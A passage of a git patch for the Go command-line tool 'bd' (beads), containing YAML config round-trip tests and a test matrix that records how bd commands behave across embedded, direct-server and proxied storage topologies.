being unable to unset it is the same +// round-trip break in the other direction: UnsetYamlConfig comments out the +// line matching the key, and its pattern only ever matched a FLAT +// `sync.remote:` line. Once the writer nests, an unset silently does nothing +// and the value stays live — which for sync.remote means bd keeps a remote the +// operator asked it to forget. +func TestUnsetRemovesADottedKeyInEveryShape(t *testing.T) { + cases := []struct { + name string + seed string + }{ + {name: "nested", seed: "sync:\n remote: \"file:///origin.git\"\n"}, + {name: "nested among siblings", seed: "sync:\n branch: beads-sync\n remote: \"file:///origin.git\"\n"}, + {name: "legacy flat", seed: "sync.remote: \"file:///origin.git\"\n"}, + {name: "nested with other sections", seed: "dolt:\n port: 3307\nsync:\n remote: \"file:///origin.git\"\n"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + t.Setenv("BEADS_DIR", dir) + if err := UnsetYamlConfig("sync.remote"); err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "" { + t.Errorf("sync.remote still reads back as %q after unset:\n%s", got, body) + } + // The key is preserved as documentation, which is this function's + // stated contract, so it must still be visible — commented. + if !strings.Contains(string(body), "remote:") { + t.Errorf("unset removed the key instead of commenting it out:\n%s", body) + } + // A sibling under the same section is none of the unset's business. + if tc.name == "nested among siblings" { + if got := GetStringFromDir(dir, "sync.branch"); got != "beads-sync" { + t.Errorf("unset took a sibling with it: sync.branch = %q\n%s", got, body) + } + } + if tc.name == "nested with other sections" { + if got := GetStringFromDir(dir, "dolt.port"); got != "3307" { + t.Errorf("unset touched an unrelated section: dolt.port = %q\n%s", got, body) + } + } + }) + } +} + +// set, unset, set is one command sequence, not three independent ones, and the +// round trip has to survive all of it. An unset comments the leaf out and leaves +// the section behind holding nothing — `sync:` and no more. The writer used to +// refuse that section, because a null is not a mapping, and fell through to the +// flat writer, which put a literal `sync.remote:` key back into the file: the +// unreadable shape, re-created one command after being fixed. bd said "Set +// sync.remote = ..." while GetStringFromDir saw nothing. +func TestSettingADottedKeyAgainAfterUnsetStaysNested(t *testing.T) { + cases := []struct { + name string + seed string + }{ + // The section is left holding nothing at all once its only leaf is + // commented out. This is the shape that broke. + {name: "section empties out", seed: "node_id: mini\n"}, + // A sibling keeps the section a mapping, so this shape always worked. + // Pin it anyway: the fix must not trade one for the other. + {name: "sibling keeps the section", seed: "sync:\n branch: beads-sync\n"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + t.Setenv("BEADS_DIR", dir) + + if err := SetYamlConfigInDir(dir, "sync.remote", "file:///a.git"); err != nil { + t.Fatalf("first set: %v", err) + } + if err := UnsetYamlConfig("sync.remote"); err != nil { + t.Fatalf("unset: %v", err) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "" { + body, _ := os.ReadFile(path) //nolint:errcheck // diagnostic + t.Fatalf("unset left sync.remote at %q:\n%s", got, body) + } + if err := SetYamlConfigInDir(dir, "sync.remote", "file:///b.git"); err != nil { + t.Fatalf("second set: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "file:///b.git" { + t.Errorf("sync.remote reads back as %q after set/unset/set:\n%s", got, body) + } + for _, line := range strings.Split(string(body), "\n") { + if strings.HasPrefix(strings.TrimSpace(line), "sync.remote:") { + t.Errorf("the unreadable flat spelling came back:\n%s", body) + } + } + if tc.name == "sibling keeps the section" { + if got := GetStringFromDir(dir, "sync.branch"); got != "beads-sync" { + t.Errorf("the sibling was lost: sync.branch = %q\n%s", got, body) + } + } + }) + } +} + +// A config.yaml that is nothing but comments is not an edge case: it is what +// `bd init` writes, so it is the shape every fresh workspace's FIRST dotted +// write lands on — and config.yaml is git-tracked, so losing it is a committed +// diff the operator never asked for. +// +// yaml.v3 parses such a document to no nodes at all and keeps none of its text, +// so a writer that marshals a node tree has nothing to write back but the key it +// just added. Asserting the value reads back is not enough to catch that; the +// file is only correct if everything that was in it is still in it. +func TestFirstDottedWriteKeepsACommentOnlyFile(t *testing.T) { + seed := `# Beads Configuration File +# This file configures default behavior for all bd commands in this repository + +# Issue prefix for this repository (used by bd init) +# issue-prefix: "" + +# Use no-db mode: JSONL-only, no Dolt database +# no-db: false + +# Default actor for audit trails (overridden by BEADS_ACTOR or --actor) +# actor: "" +` + + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + // Two writes: the first lands on the comment-only file, the second on + // whatever the first produced. Both have to keep the comments. + if err := SetYamlConfigInDir(dir, "sync.remote", "file:///origin.git"); err != nil { + t.Fatalf("set sync.remote: %v", err) + } + if err := SetYamlConfigInDir(dir, "dolt.port", "3307"); err != nil { + t.Fatalf("set dolt.port: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + for _, line := range strings.Split(strings.TrimRight(seed, "\n"), "\n") { + if line == "" { + continue + } + if !strings.Contains(text, line) { + t.Errorf("the write dropped a line that was already in the file: %q\ngot:\n%s", line, text) + } + } + if got := GetStringFromDir(dir, "sync.remote"); got != "file:///origin.git" { + t.Errorf("sync.remote reads back as %q\n%s", got, text) + } + if got := GetStringFromDir(dir, "dolt.port"); got != "3307" { + t.Errorf("dolt.port reads back as %q\n%s", got, text) + } +} + +// When a key's own parent already holds a value there is no section to nest +// under it, and bd has nothing correct to write. It used to write the flat +// `sync.remote:` spelling and report success, so the operator was told the +// value was set and every reader that splits on the dot saw nothing. Say so +// instead, and leave the file alone. +func TestSettingUnderAScalarParentIsAnError(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "sync: enabled\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + err := SetYamlConfigInDir(dir, "sync.remote", "file:///origin.git") + if err == nil { + body, _ := os.ReadFile(path) //nolint:errcheck // diagnostic + t.Fatalf("setting sync.remote under a scalar sync reported success\n%s", body) + } + if !strings.Contains(err.Error(), "sync") { + t.Errorf("the error does not name the key in the way: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + if string(body) != seed { + t.Errorf("a refused write still changed the file:\n%s", body) + } +} + +// Unset matches by line, so it has to know which lines are YAML and which are +// somebody's prose. A literal block scalar's body is data: text indented under +// `notes: |` only looks like a mapping. Commenting inside it edits the value the +// operator wrote. +func TestUnsetLeavesBlockScalarTextAlone(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + seed := "notes: |\n sync:\n remote: keep-this-text\nsync:\n remote: \"file:///origin.git\"\n" + if err := os.WriteFile(path, []byte(seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + + t.Setenv("BEADS_DIR", dir) + if err := UnsetYamlConfig("sync.remote"); err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + text := string(body) + if !strings.Contains(text, " remote: keep-this-text") { + t.Errorf("unset rewrote text inside the notes block:\n%s", text) + } + if got := GetStringFromDir(dir, "sync.remote"); got != "" { + t.Errorf("sync.remote still reads back as %q after unset:\n%s", got, text) + } + if got := GetStringFromDir(dir, "notes"); got != "sync:\n remote: keep-this-text\n" { + t.Errorf("the notes value changed: %q\n%s", got, text) + } +} From fa9543900666ed4360cded0b484786c5362e0cb8 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 16 Sep 2026 02:53:27 -0700 Subject: [PATCH 054/624] test(topology): front-door capability matrix across storage topologies (proxied-parity S0) [release/1.3.0] (#6579) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(topology): front-door capability matrix across storage topologies (S0) Characterization test for the proxied-parity work. Records what bd does TODAY across embedded, direct-local-server, direct-external-server, proxied-local and proxied-external-tcp — including the behavior that is wrong — so every later slice flips named rows and the flip is the review artifact. 18 command probes x 5 topologies = 90 cells. Outcomes are classified so a reader can tell the classes apart: REFUSED_TYPED carries reason=design (permanent policy) or reason=unimplemented (a gap a later slice closes), separately from WRONG_ANSWER, DEGRADED, ERROR and HONORED. Cells that record a bug carry a knownBad string naming it. Refusal rows additionally assert the two side-effect invariants from the existing history matrix: no proxy pidfile materializes (the provider was never constructed) and durable artifacts are byte-identical. Findings this matrix pins down beyond the design inventory: - `bd doctor` exits 0 on EMBEDDED having run no checks, not just proxied. - root `bd compact` is HONORED proxied; its refusal row is unreachable because the gate short-circuits when the command has no --dolt flag. - `bd dolt status` is correct on both direct server topologies; proxied is the sole outlier (running=false, pid 0, while the proxy serves CRUD). Reuses the existing fixtures rather than adding a harness: bdInit, newServerModeProject, bdManagedLocalInit, newSharedProxiedProject, buildEmbeddedBD, runCommandBuffers and snapshotHistoryArtifacts. The only new fixture is direct-local-server, which had no named helper. Gating: named TestProxiedServer* so proxied-test-shard.sh discovers it, which lands it in pr-risk.yml's test-proxied-cmd lane — a lane that runs on pull_request, not only push-to-main. managed-local is gated on BEADS_TEST_PROXIED_LOCAL, which only the proxied-local smoke lane sets, so it gets a second entry point named/filed to match that lane's filters. No production code changes. Co-Authored-By: Claude Fable 5 * test(topology): tell the post-#6580 truth about proxied dolt start/status #6580 makes `bd dolt status` truthful on a proxied workspace and turns `bd dolt start` there into a typed refusal. This matrix still encoded the pre-#6580 behaviour, so the two PRs are individually green and jointly red: merged together, `dolt status` on both proxied topologies fails the `"running": false` marker this table asserted. - flip the proxied `dolt status` cell from WRONG_ANSWER/`"running": false` to HONORED/`"running": true` and drop its knownBad — the defect is fixed, not deferred - add the `dolt start` row the stale deliberatelyNotProbed entry promised: REFUSED_TYPED `proxy.dolt_start.conflict` on both proxied topologies, REFUSED_UNTYPED on embedded (same command, no code a consumer can branch on), HONORED on direct-local where bd really does own the server - delete deliberatelyNotProbed["dolt start"], which described the hazard #6580 fixed as if it were current - add probe.skipOn so one row can be excused from one topology with the reason printed under the table; direct-external is excused from `dolt start` because running it there would leave a bd-owned sql-server the fixture has no teardown for This commit depends on #6580. Against a base that lacks it the flipped cells fail, because there `bd dolt status` still lies. Co-Authored-By: Claude Fable 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Fable 5 --- .../proxied_local_capability_matrix_test.go | 29 + ...ogy_capability_matrix_direct_local_test.go | 106 ++ cmd/bd/topology_capability_matrix_test.go | 1019 +++++++++++++++++ 3 files changed, 1154 insertions(+) create mode 100644 cmd/bd/proxied_local_capability_matrix_test.go create mode 100644 cmd/bd/topology_capability_matrix_direct_local_test.go create mode 100644 cmd/bd/topology_capability_matrix_test.go diff --git a/cmd/bd/proxied_local_capability_matrix_test.go b/cmd/bd/proxied_local_capability_matrix_test.go new file mode 100644 index 000000000..01b886318 --- /dev/null +++ b/cmd/bd/proxied_local_capability_matrix_test.go @@ -0,0 +1,29 @@ +//go:build cgo && unix + +package main + +// Managed-local entry point for the front-door capability matrix. +// +// Why this exists as a second entry point rather than a topology of the +// primary one: the managed-local fixture is gated on BEADS_TEST_PROXIED_LOCAL, +// and the only lane that sets it is .github/workflows/proxied-local-smoke.yml, +// which selects tests with -test.run "^TestManagedLocalProxied". The primary +// matrix runs in the proxied shard, which does not set that gate, so +// managed-local would be silently skipped there and nowhere else. +// +// Both the file name (matching the lane's `cmd/bd/proxied_local_*` path +// filter) and the test name are load-bearing. The smoke lane runs inside a +// loopback-only network namespace, so this entry point must build only +// topologies that need no Docker: embedded and managed-local. +// +// The table itself lives in topology_capability_matrix_test.go. This file +// adds no expectations of its own. + +import "testing" + +func TestManagedLocalProxiedCapabilityMatrix(t *testing.T) { + runCapabilityMatrix(t, []topologySpec{ + embeddedTopology(), + proxiedLocalTopology(), + }) +} diff --git a/cmd/bd/topology_capability_matrix_direct_local_test.go b/cmd/bd/topology_capability_matrix_direct_local_test.go new file mode 100644 index 000000000..65ee2ea22 --- /dev/null +++ b/cmd/bd/topology_capability_matrix_direct_local_test.go @@ -0,0 +1,106 @@ +//go:build cgo && unix + +package main + +// Fixture for the direct LOCAL server topology: `bd init --server` with no +// port, where bd spawns and owns a `dolt sql-server` under .beads. +// +// This is the one topology in the matrix with no existing named helper — the +// two tests that use it today build it inline behind the `integration` build +// tag (dolt_autostart_lifecycle_integration_test.go, +// migrate_dolt_mode_frontdoor_integration_test.go). This file factors out the +// two pieces those tests had to get right, and nothing else. + +import ( + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "syscall" + "testing" + "time" +) + +// directLocalServerEnv builds a subprocess environment for a bd-owned local +// dolt sql-server. +// +// Neither bdEnv nor bdProxiedEnv works here, for opposite reasons: +// - bdEnv sets BEADS_DOLT_AUTO_START=0, which stops bd from ever launching +// the server this topology is about. +// - the inherited env carries the cmd/bd TestMain's BEADS_TEST_MODE=1, which +// disables auto-start AND rewrites an unresolved port to 1. +// +// So: strip every BEADS_*/BD_* var and redirect HOME, exactly as the existing +// front-door integration tests do, and add nothing back. +func directLocalServerEnv(home string) []string { + env := make([]string, 0, len(os.Environ())) + for _, kv := range os.Environ() { + key := kv + if i := strings.IndexByte(kv, '='); i >= 0 { + key = kv[:i] + } + if strings.HasPrefix(key, "BEADS_") || strings.HasPrefix(key, "BD_") || + key == "HOME" || key == "USERPROFILE" { + continue + } + env = append(env, kv) + } + return append(env, "HOME="+home, "USERPROFILE="+home) +} + +// stopDirectLocalServer tears the workspace's server down through `bd dolt +// stop`, then verifies the PID bd recorded for it is actually gone. +// +// Safety contract: the ONLY process this may stop is the one named in this +// workspace's own .beads/dolt-server.pid. It never scans, never matches by +// process name, and never signals a PID it did not read from that file. If +// the server survives, the test reports it loudly rather than escalating — +// a stray kill on a host running unrelated dolt servers is far worse than a +// noisy test. +func stopDirectLocalServer(t *testing.T, bd, dir, beadsDir string, env []string) { + t.Helper() + + pid := readRecordedServerPID(t, beadsDir) + + cmd := exec.Command(bd, "dolt", "stop") + cmd.Dir = dir + cmd.Env = env + if stdout, stderr, err := runCommandBuffers(t, cmd); err != nil { + t.Logf("bd dolt stop (direct local): %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + + if pid <= 0 { + return + } + for i := 0; i < 50; i++ { + if !processStillAlive(pid) { + return + } + time.Sleep(100 * time.Millisecond) + } + t.Errorf("direct-local dolt sql-server pid %d survived `bd dolt stop`; "+ + "stop it by that PID before re-running. This test deliberately does not "+ + "kill by process name: this host runs unrelated dolt servers.", pid) +} + +func readRecordedServerPID(t *testing.T, beadsDir string) int { + t.Helper() + raw, err := os.ReadFile(filepath.Join(beadsDir, "dolt-server.pid")) + if err != nil { + return 0 + } + pid, err := strconv.Atoi(strings.TrimSpace(string(raw))) + if err != nil { + return 0 + } + return pid +} + +func processStillAlive(pid int) bool { + proc, err := os.FindProcess(pid) + if err != nil { + return false + } + return proc.Signal(syscall.Signal(0)) == nil +} diff --git a/cmd/bd/topology_capability_matrix_test.go b/cmd/bd/topology_capability_matrix_test.go new file mode 100644 index 000000000..3e00ceb20 --- /dev/null +++ b/cmd/bd/topology_capability_matrix_test.go @@ -0,0 +1,1019 @@ +//go:build cgo && unix + +package main + +// Front-door capability matrix across storage topologies. +// +// THIS IS A CHARACTERIZATION TEST. Every expectation below records what bd +// does TODAY, including the behavior that is wrong. It is green because it +// describes the present, not because the present is good. Rows carrying a +// knownBad string are tracked defects; the slice that fixes one must flip its +// expectation in the same diff, and that flip is the review artifact proving +// the fix landed. +// +// Do NOT "fix" a failing row by relaxing it. A red row means behavior moved; +// either the move was intended (flip the row) or it is a regression. +// +// Reading the output: each cell is classified by `matrixOutcome` (what +// happened) and `matrixReason` (why it is allowed to be that way). +// REFUSED_TYPED + design is a deliberate, permanent policy refusal. +// REFUSED_TYPED + unimplemented is a capability gap a later slice closes. +// WRONG_ANSWER and DEGRADED are bugs bd currently ships. The distinction is +// the whole point of this file: the refusal surface today mixes all three and +// a reader cannot otherwise tell them apart. +// +// The `reason` column is the test's own authority. Production does not yet +// carry a Reason field on its refusals; when it does, this test should assert +// that the two agree. + +import ( + "encoding/json" + "errors" + "flag" + "fmt" + "os" + "os/exec" + "path/filepath" + "sort" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/testutil" +) + +// --------------------------------------------------------------------------- +// Outcome taxonomy +// --------------------------------------------------------------------------- + +type matrixOutcome string + +const ( + // outcomeHonored: the command ran and the topology did not stand in its way. + outcomeHonored matrixOutcome = "HONORED" + // outcomeRefusedTyped: front-door refusal carrying a stable proxy.* code. + outcomeRefusedTyped matrixOutcome = "REFUSED_TYPED" + // outcomeRefusedUntyped: refused with a bare string and no machine-readable + // code. A downstream JSON consumer cannot classify these. + outcomeRefusedUntyped matrixOutcome = "REFUSED_UNTYPED" + // outcomeWrongAnswer: exited successfully and reported something false. + outcomeWrongAnswer matrixOutcome = "WRONG_ANSWER" + // outcomeDegraded: exited successfully having silently skipped the work. + outcomeDegraded matrixOutcome = "DEGRADED" + // outcomeError: reached the command, which then failed on its own merits. + // Not a topology refusal — the front door let it through. + outcomeError matrixOutcome = "ERROR" +) + +type matrixReason string + +const ( + reasonNA = matrixReason("-") + // reasonDesign: refusing is correct and is expected to stay that way. + reasonDesign = matrixReason("design") + // reasonUnimplemented: refusing is a capability gap, not a policy. + reasonUnimplemented = matrixReason("unimplemented") +) + +// expectation is the observed contract for one command on one topology. +type expectation struct { + outcome matrixOutcome + // code is the proxy.* capability code, for outcomeRefusedTyped only. + code string + // substr must appear in the combined output. + substr string + // absent, when set, must NOT appear in the combined output. This is how a + // silent omission (config show dropping database-backed settings) is + // pinned down as a wrong answer rather than a formatting difference. + absent string + // knownBad names the defect this cell documents. Required for + // WRONG_ANSWER and DEGRADED; a later slice deletes it when it flips. + knownBad string + reason matrixReason +} + +// probe is one command exercised across every topology that can safely run it. +// +// Adding a command to the matrix is a single row here. `direct` applies to +// every direct-class topology and `proxied` to every proxied-class one, which +// mirrors bd's own ProxyMode axis; `override` pins a single topology when the +// two-class default is not enough. When a later slice makes managed-local +// honor something external topologies still refuse, that lands as one +// override entry, not new plumbing. +type probe struct { + name string + args []string + direct expectation + proxied expectation + override map[string]expectation + // skipOn excuses named topologies from this row, with the reason. The only + // admissible reason is that RUNNING the command there would leave process + // state this matrix cannot tear down; an inconvenient answer is never one. + // Excused cells print as "(not probed)" and the reason prints under the + // table, so absence is not mistaken for coverage. + skipOn map[string]string +} + +func (p probe) want(topology string, class topologyClass) expectation { + if e, ok := p.override[topology]; ok { + return e + } + if class == classProxied { + return p.proxied + } + return p.direct +} + +// --------------------------------------------------------------------------- +// The matrix +// --------------------------------------------------------------------------- + +const ( + topoEmbedded = "embedded" + topoDirectLocal = "direct-local-server" + topoDirectExternal = "direct-external-server" + topoProxiedLocal = "proxied-local" + topoProxiedTCP = "proxied-external-tcp" +) + +// capabilityProbes is the table. One row per command family from the 1.3.1 +// priority order, plus control rows that must be honored everywhere. +var capabilityProbes = []probe{ + // --- control: plain CRUD must work on every topology ------------------- + { + name: "list", + args: []string{"list"}, + direct: expectation{outcome: outcomeHonored, reason: reasonNA}, + proxied: expectation{outcome: outcomeHonored, reason: reasonNA}, + }, + { + // `list` is the one command that carries --max-rows through the + // proxied reader (proxy_capability.go:230). + name: "list --max-rows", + args: []string{"list", "--max-rows", "5"}, + direct: expectation{outcome: outcomeHonored, reason: reasonNA}, + proxied: expectation{outcome: outcomeHonored, reason: reasonNA}, + }, + + // --- dolt server lifecycle --------------------------------------------- + { + // The same command, three refusal surfaces. A proxied workspace's dolt + // backend belongs to the proxy, which spawns it on demand and reaps it + // when idle, so bd refuses with a code a JSON consumer can branch on. + // Embedded refuses too — there is no server to start — but with a bare + // string and no code. Direct-local is the one topology where bd owns + // the server and the command is its own honored idempotent no-op. + name: "dolt start", + args: []string{"dolt", "start"}, + direct: expectation{ + // The fixture's `bd init --server` already started it, so this is + // the adopt path: doltserver.Start finds the recorded server live + // and returns it rather than launching a second one. + outcome: outcomeHonored, substr: "Dolt server started", reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.dolt_start.conflict", + substr: "dolt start is not supported in proxied-server mode", + reason: reasonDesign, + }, + override: map[string]expectation{ + topoEmbedded: { + outcome: outcomeRefusedUntyped, + substr: "'bd dolt start' is not supported in embedded mode", + reason: reasonDesign, + }, + }, + skipOn: map[string]string{ + // The configured host is 127.0.0.1, so the remote-host ownership + // guard does not fire and doltserver.Start goes on to put a + // bd-owned sql-server over this workspace's own .beads/dolt — for + // a workspace whose server bd does not own. That is worth + // recording, but not by running it: the external-server fixture + // tears down only its proxy, so whatever the start leaves behind + // outlives the test, and this matrix must not leak a dolt server + // onto a shared host. Probe it when the fixture can stop one. + topoDirectExternal: "`bd dolt start` would launch a bd-owned sql-server over the workspace's .beads/dolt " + + "(host is 127.0.0.1, so the remote-host guard does not fire) and the external-server fixture has no " + + "`bd dolt stop` teardown for it, so the process would outlive the test", + }, + }, + { + // Every topology reports the process it actually depends on. Proxied + // used to be the outlier: status read the CLASSIC pidfile, which + // proxied mode never writes, and answered "not running" while the + // proxy was serving CRUD. It now reads the proxy's own records and + // reports the proxy and its dolt backend separately. Direct-local and + // direct-external both report a live server, one bd-owned and one not. + name: "dolt status", + args: []string{"dolt", "status"}, + direct: expectation{ + outcome: outcomeHonored, substr: `"running": true`, reason: reasonNA, + }, + proxied: expectation{ + // `running` describes the PROXY — the endpoint every bd command + // connects through — and the honored rows ahead of this one have + // just started it. The rest of the payload (mode, proxy pid/port, + // backend_managed on an external backend) is asserted field by + // field by the dolt lifecycle tests; what this cell pins is the + // cross-topology claim, that no topology's status lies about + // whether the thing bd talks to is up. + outcome: outcomeHonored, substr: `"running": true`, reason: reasonNA, + }, + override: map[string]expectation{ + topoEmbedded: { + outcome: outcomeHonored, substr: `"mode": "embedded"`, reason: reasonNA, + }, + }, + }, + + // --- the verified wrong answer ----------------------------------------- + { + // collectDatabaseEntries calls ensureDirectMode, which fails under + // proxied, and the error is swallowed with `return nil`. Every + // database-backed setting silently disappears with no marker. + name: "config show", + args: []string{"config", "show"}, + direct: expectation{ + outcome: outcomeHonored, substr: `"source": "database"`, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeWrongAnswer, substr: `"source": "default"`, absent: `"source": "database"`, + knownBad: "config_show.go collectDatabaseEntries swallows the proxied error and omits every DB-stored setting (design 1.5 / slice S6)", + reason: reasonNA, + }, + }, + + // --- doctor ------------------------------------------------------------- + { + name: "doctor", + args: []string{"doctor"}, + direct: expectation{ + outcome: outcomeHonored, substr: `"checks"`, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.doctor.unsupported", + substr: "doctor is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + override: map[string]expectation{ + // Embedded does not refuse: it prints guidance and exits 0, so a + // CI gate running `bd doctor` scores a pass having checked nothing. + topoEmbedded: { + outcome: outcomeDegraded, substr: "not yet supported in embedded mode", + knownBad: "doctor exits 0 on embedded without running checks; a CI gate cannot tell this from success (design 1.5 names the proxied twin; the embedded one is found by this matrix)", + reason: reasonNA, + }, + }, + }, + + // --- backup family (consumer priority #1, slice S3) --------------------- + { + name: "backup status", + args: []string{"backup", "status"}, + direct: expectation{ + outcome: outcomeHonored, substr: `"configured"`, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.backup.unsupported", + substr: "backup status is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + { + name: "backup sync", + args: []string{"backup", "sync"}, + direct: expectation{ + outcome: outcomeError, substr: "no backup destination configured", reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.backup.unsupported", + substr: "backup sync is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + + // --- version-control verbs (slice S4) ----------------------------------- + { + name: "dolt commit", + args: []string{"dolt", "commit", "-m", "matrix probe"}, + direct: expectation{ + outcome: outcomeHonored, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.dolt_commit.unsupported", + substr: "dolt commit is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + { + name: "dolt push", + args: []string{"dolt", "push"}, + direct: expectation{ + outcome: outcomeHonored, substr: "No remote is configured", reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.dolt_push.unsupported", + substr: "dolt push is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + { + name: "dolt remote list", + args: []string{"dolt", "remote", "list"}, + direct: expectation{ + // Renders an empty JSON array; there is no stable marker beyond + // "exit 0 and no refusal", which is what this row asserts. + outcome: outcomeHonored, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.dolt_remote.unsupported", + substr: "dolt remote list is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + { + name: "sync", + args: []string{"sync"}, + direct: expectation{ + outcome: outcomeHonored, substr: `"status": "no-remote"`, reason: reasonNA, + }, + proxied: expectation{ + // Refused three independent ways today: the maintenance table, the + // history class, and an inline RunE string (design 1.3). + outcome: outcomeRefusedTyped, code: "proxy.sync.unsupported", + substr: "sync is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + + // --- refused by design: shared-history semantics are undefined ---------- + { + name: "branch", + args: []string{"branch"}, + direct: expectation{ + outcome: outcomeHonored, substr: `"branches"`, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.branch.unsupported", + substr: "branch is not supported in proxied-server mode", + reason: reasonDesign, + }, + }, + { + name: "flatten", + args: []string{"flatten"}, + direct: expectation{ + // Refuses without --force, which is its own safety interlock and + // nothing to do with topology. + outcome: outcomeError, substr: "irreversible", reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.flatten.unsupported", + substr: "flatten is not supported in proxied-server mode", + reason: reasonDesign, + }, + }, + + // --- transform family (slice S7) ---------------------------------------- + { + name: "rename", + args: []string{"rename", "zz-000000", "zz-111111"}, + direct: expectation{ + outcome: outcomeError, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.transform.unsupported", + substr: "rename is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + + // --- formula verbs (slice S7, demand-gated) ------------------------------ + { + name: "cook", + args: []string{"cook", "matrix-probe-no-such-formula.yaml"}, + direct: expectation{ + outcome: outcomeError, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.formula.unsupported", + substr: "cook is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + + // --- flag-level capability ------------------------------------------------ + { + // The cap is refused rather than silently dropped, which is correct. + // The fix is threading it through the UOW reader as `list` already + // does, not lifting the refusal. + name: "ready --max-rows", + args: []string{"ready", "--max-rows", "5"}, + direct: expectation{ + outcome: outcomeHonored, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeRefusedTyped, code: "proxy.max_rows.unsupported", + substr: "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode", + reason: reasonUnimplemented, + }, + }, + + // --- compact ------------------------------------------------------------- + { + // HONORED proxied, which is NOT what proxyMaintenanceRefusals["compact"] + // suggests on a quick read. validateProxyMaintenanceBeforeProvider + // short-circuits to nil when the command has no --dolt flag + // (proxy_capability.go:168-172), and root `bd compact` — the Dolt + // history compaction command — has no such flag. So that table row is + // unreachable from this command path. Recorded here because a reader + // auditing the table would otherwise expect a refusal. + name: "compact", + args: []string{"compact"}, + direct: expectation{ + outcome: outcomeHonored, reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeHonored, reason: reasonNA, + }, + }, + + // --- migrate schema: already lifted in 1.3.0 ----------------------------- + { + // The one family the 1.3.0 release already lifted. It is HONORED + // proxied, but reports no applied count — S6 makes it report one. + name: "migrate schema", + args: []string{"migrate", "schema"}, + direct: expectation{ + outcome: outcomeHonored, substr: "Schema", reason: reasonNA, + }, + proxied: expectation{ + outcome: outcomeDegraded, substr: "reconciled during provider open", + knownBad: "proxied migrate schema reports no applied count (design 1.5 / slice S6)", + reason: reasonNA, + }, + }, +} + +// deliberatelyNotProbed records commands this matrix will not run at all, and +// why. Leaving them undocumented would let a reader mistake absence for +// coverage. A command excused from only SOME topologies belongs in that +// probe's skipOn instead. +var deliberatelyNotProbed = map[string]string{ + "restore": "`bd restore` restores an ISSUE, not a backup; the backup verb is `bd backup restore`, which is already " + + "covered by the backup rows. Probing it adds a row that says nothing about the backup family.", + "backup restore": "would need a real backup destination to distinguish a topology refusal from a missing-backup error. " + + "Covered indirectly by `backup status` / `backup sync`; revisit in slice S3 when the family gains a proxied route.", +} + +// --------------------------------------------------------------------------- +// Topologies +// --------------------------------------------------------------------------- + +type topologyClass string + +const ( + classDirect topologyClass = "direct" + classProxied topologyClass = "proxied" +) + +// topologyWorkspace is one initialized bd workspace plus everything needed to +// run the real binary against it and to assert proxied side effects. +type topologyWorkspace struct { + name string + class topologyClass + dir string + beadsDir string + proxyRoot string // empty for non-proxied topologies + env []string +} + +// run executes the real bd binary and returns stdout, stderr and the exit code. +func (w topologyWorkspace) run(t *testing.T, bd string, args 